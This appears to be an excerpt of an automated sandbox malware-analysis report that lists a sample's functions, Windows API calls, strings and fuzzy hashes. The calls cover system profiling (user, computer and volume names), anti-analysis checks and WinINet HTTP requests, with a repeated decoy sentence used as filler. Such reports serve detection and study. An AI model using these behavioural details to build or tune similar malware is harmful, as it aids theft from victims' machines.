lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 60c508d88f0449400eea4780d1c2a55aa70dbc5de1ae23165444dfbd3f1c6033
Instruction ID: ff82eb6acc97b20701c4bcbd3dbf8f3289274c2dbbe7f73b68b52ee208cac3fc
Opcode Fuzzy Hash: 60c508d88f0449400eea4780d1c2a55aa70dbc5de1ae23165444dfbd3f1c6033
Instruction Fuzzy Hash: 1D419979740624EBC718AFE5FC8DB987F71AB4C712BA0C062F90296190C7B9D5119B3E

Function 00406280 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000,00420DFB), ref: 004062E1
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,?,00000000,00000000,00400100,00000000), ref: 00406385
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D

Strings

ERROR, xrefs: 004064C9
GET, xrefs: 0040637C
ERROR, xrefs: 00406407

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@$HttpOpenRequest$ConnectCrackFileReadSend
String ID: ERROR$ERROR$GET
API String ID: 1095854997-2509457195
Opcode ID: 460f558118b4083d41359c156125f26ce9f22fb94ebe107836e013dd45d71b95
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: 460f558118b4083d41359c156125f26ce9f22fb94ebe107836e013dd45d71b95
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00417850 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 18.2, APIs: 8, Strings: 2, Instructions: 684
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8

Strings

HttpQueryInfoA, xrefs: 0041A5FC
InternetSetOptionA, xrefs: 0041A5E5

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 1029625771-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00404880 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 479
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetCloseHandle.WININET(00000000), ref: 00404EAD

Strings

", xrefs: 00404BF2
------, xrefs: 00404C69
------, xrefs: 00404B28
------, xrefs: 004049BD
", xrefs: 00404D33

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$Internet$CloseCrackHandle
String ID: "$"$------$------$------
API String ID: 3842476067-2180234286
Opcode ID: 8871a7e0db803886412357a9f8af80b172f418654194f3178fcef7dc839d38c6
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 8871a7e0db803886412357a9f8af80b172f418654194f3178fcef7dc839d38c6
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 004047B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternet
String ID: <
API String ID: 676793843-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00419860 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 212
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNELBASE(?,?,00416A00), ref: 00419ACF

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 1029625771-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 004117A0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 160
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 004117D1
strtok_s.MSVCRT ref: 004117E8
strtok_s.MSVCRT ref: 004119A8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s$ExitProcess
String ID: block
API String ID: 762877946-2199623458
Opcode ID: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 00417500 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F

Strings

\, xrefs: 00417560
C, xrefs: 0041754C
:, xrefs: 0041755C

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ed3ca360dd794ca93df171aa1d69aa55e8069c6d35c7c4129d84d5da30dc5272
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 00401220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv$GlobalMemoryStatus
String ID: @
API String ID: 2185283323-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 004169F0 Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401160: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A

Part of subcall function 00401110: VirtualAllocExNuma.KERNELBASE(00000000,?,?,00416A1C), ref: 00401132

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNELBASE(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266

GetUserDefaultLCID.KERNELBASE ref: 00416A26

Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUser__aulldiv$AllocComputerDefaultGlobalInfoMemoryNumaStatusSystemVirtual
String ID:
API String ID: 3178950686-0
Opcode ID: 89bd8792c9ea463fe5cd0678b04f38b1ba409c67d9b77676339e57910a337a73
Instruction ID: 00249ead6714b3af85de48d5768f0cff66b99727dd84f15ff7ce73ce32af2852
Opcode Fuzzy Hash: 89bd8792c9ea463fe5cd0678b04f38b1ba409c67d9b77676339e57910a337a73
Instruction Fuzzy Hash: 63316175940208AADB04FBF2DC56BEE7339AF04354F10452EF102A61D2DF7C6996C6AE

Function 004178E0 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 00401110 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAllocExNuma.KERNELBASE(00000000,?,?,00416A1C), ref: 00401132

Memory Dump Source

Source File: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
